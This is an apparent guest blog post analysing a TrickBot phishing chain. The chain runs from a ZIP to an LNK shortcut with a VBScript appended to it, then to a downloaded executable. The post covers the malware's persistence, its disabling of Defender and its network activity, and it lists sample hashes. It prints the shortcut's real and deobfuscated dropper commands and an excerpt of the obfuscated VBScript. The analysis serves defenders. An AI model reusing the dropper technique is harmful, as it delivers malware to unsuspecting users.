[This is a guest diary submitted by Jan Kopriva. Jan is working for Alef Nula (http://www.alef.com) and you can follow him on Twitter at @jk0pr]

Recently, I was asked to analyze a phishing e-mail which was sent to one of our customers. The e-mail itself was a run of the mill affair (a variation on the “you have unpaid invoices, click here to download them” theme), but the link it contained pointed to a quite interesting file. The file in question was a ZIP archive containing an unusually large (almost 10 kB) LNK file trying to look like an RTF document. 
 

At the time of the original analysis, both the ZIP and LNK files were detected as malicious by 2/59 AV engines according to VirusTotal, while at the time of writing it was 19/59 for the shortcut file and 18/59 for the archive file.
The target set in the LNK shortcut was:

%comspec% /v:on /c hwqcG & if not exist tPUQl (set "fChXE=inds") & (f!fChXE!tr "LMpJG.*" OutstandingPayment.lnk > "%tmp%\NWrfK.vbs" & "%tmp%\NWrfK.vbs") & qFctA

It contains some elementary obfuscation, which makes it harder to read at first, but if we clean it up, it basically comes down to:

cmd.exe /c findstr "LMpJG.*" OutstandingPayment.lnk > "%tmp%\NWrfK.vbs" & "%tmp%\NWrfK.vbs"

In other words, it will try to find the string “LMpJG” in the LNK file itself, save this string and everything after it in a file named NWrfK.vbs in Temp directory and then execute this file. If we try to look for the string “LMpJG” in our LNK file manually, we will discover why the shortcut file seemed so unusually large – it indeed contains (obfuscated) VBScript code.

Before we take a look at the VBS code itself, we should mention how this is possible. Windows doesn’t care (or rather doesn’t care too much – there are some caveats) if you append arbitrary bytes after the end of an otherwise well-formed LNK file. If you try to execute such a shortcut, the OS simply disregards the extra content. This allows the shortcut file we have here to act as a dropper for a VBS file. Although it is not a new technique – this and other types of malicious LNKs have been used in phishing campaigns for a long time – it isn’t as common as many others, and thus not many are aware of the dangers of malicious LNKs (i.e., if you teach any security awareness courses, mentioning the topic of malicious LNKs when you discuss potentially dangerous e-mail attachments might not be a bad idea).
The VBScript contained within our LNK file looks like this:

LMpJGURpXGYocTvvOhCq = "UULDhIzzHvQYdkTEvAQynUxZYSBcazBoIpRrNUdFZONadEIMDSyYGLBHimkJkDaqfNVMNzdwvREtsAnPLDTXimsqmHdwzZHcStdw" : execute("Set nhkIuUxqIvXRnkkZMhFF = CreateObject(""S""&""cripting.FileSyst""&""emObject"") : IJuHSmVXnBZQPrvVzBLI = ""chr(120-9Afn114-4Afn41-9Afn105-4Afn123-9Afn115-1Afn115-
...[code omitted]…
-7Afn105-4Afn119-3Afn102-1)""") : If  nhkIuUxqIvXRnkkZMhFF.FileExists("OeEgCMUjcEQtYoJaBeaj")=false Then ASdzIQAOucoVcutsePYR = replace(IJuHSmVXnBZQPrvVzBLI, "Afn", ")+chr(") : execute(eval(ASdzIQAOucoVcutsePYR))

Although we could deobfuscate it by hand or using some specialized tools, it is usually easiest to let a code deobfuscate itself and give us its readable version. In this case, it can be as simple as changing the last “execute” to “MsgBox” and running the code.

We may see that the VBScript code tries to access the credits.php page using HTTP GET request and save the response as 5767904_7391395_2818162.exe in the Temp directory. It then tries to run the downloaded EXE file and delete itself. When accessed, credits.php indeed returned (it is no longer operational at the time of writing) a valid executable file named “akz005e6f.exe”, which tried to pass itself as the Active Accessibility Event Hooks Library from Microsoft.

It probably won’t come as a surprise that our executable isn’t one of Windows libraries, but rather something more insidious. In fact, VirusTotal score of the file at the time of writing is 40/69, with multiple AV engines correctly detecting it as a variant of TrickBot.

When executed, our EXE file copies itself into ProgramData under the name “??????????.exe” and then closes the original instance of itself and runs the newly created one. The new instance then tries to turn off Windows Defender by disabling its capabilities through the use of Powershell (which is fairly usual for TrickBot [1]) and stopping and deleting its service.






It then achieves persistence by copying itself into %appdata%\msspeedlib\ directory and creates a scheduled task named “Ms speed internet library,” which starts the newly created instance of the executable at system startup.

It seems that authors of this variant of TrickBot probably felt some special animosity towards Windows Defender at the time when they were creating the code as the original name of the project seems to have been “Stupid Windios Defender.”

After letting the malware run for a while in a sandbox with Wireshark capturing network traffic, couple of things caught my eye (besides the fact that Edge stopped working and that the malware tried to upload information about the compromised system to a remote server). One of them was evidence of an ARP sweep of the local network conducted from the infected machine. TrickBot has a well-known capability to interact with remote systems within local networks; however, I didn’t know it used a sequential ARP sweep to discover these systems.

The other interesting activity was a download of what appeared to be two PNG files (“samerton.png” and “tablone.png”) from a remote HTTP server. As a quick look at their magic bytes (MZ) and the DOS stub shows, the files in question are not pictures but Windows executables. On closer inspection, it becomes obvious that although the files are not completely identical, their differences are only very minor and that both are samples (most likely updated ones) of TrickBot.

Just as our original executable tried to appear as a legitimate Microsoft library, so do these two. The only difference is that in the case of fake PNGs, their authors chose to disguise them as “Print UI Cache” instead of the Active Accessibility Event Hooks Library.

At the time of writing, “tablone.exe” has VirusTotal score of 18/68 and “samerton.exe” score of 17/67.
Although we will stop here, it is interesting to note how far an analysis of a simple LNK file has already taken us – the next chart shows relationships between all the files mentioned in the diary and under it, you may find MD5 hashes of all three TrickBot samples.

•    9F644F47C636C47C8908F9E68FF4AD84 – akz005e6f.exe
•    2F97A820A4AC94D1435417921ED82489 – samerton.exe
•    F94FE1E4DB524EDAD8BE15BE2523BAEF – tablone.exe

[1] https://blog.malwarebytes.com/threat-analysis/malware-threat-analysis/2018/11/whats-new-trickbot-deobfuscating-elements/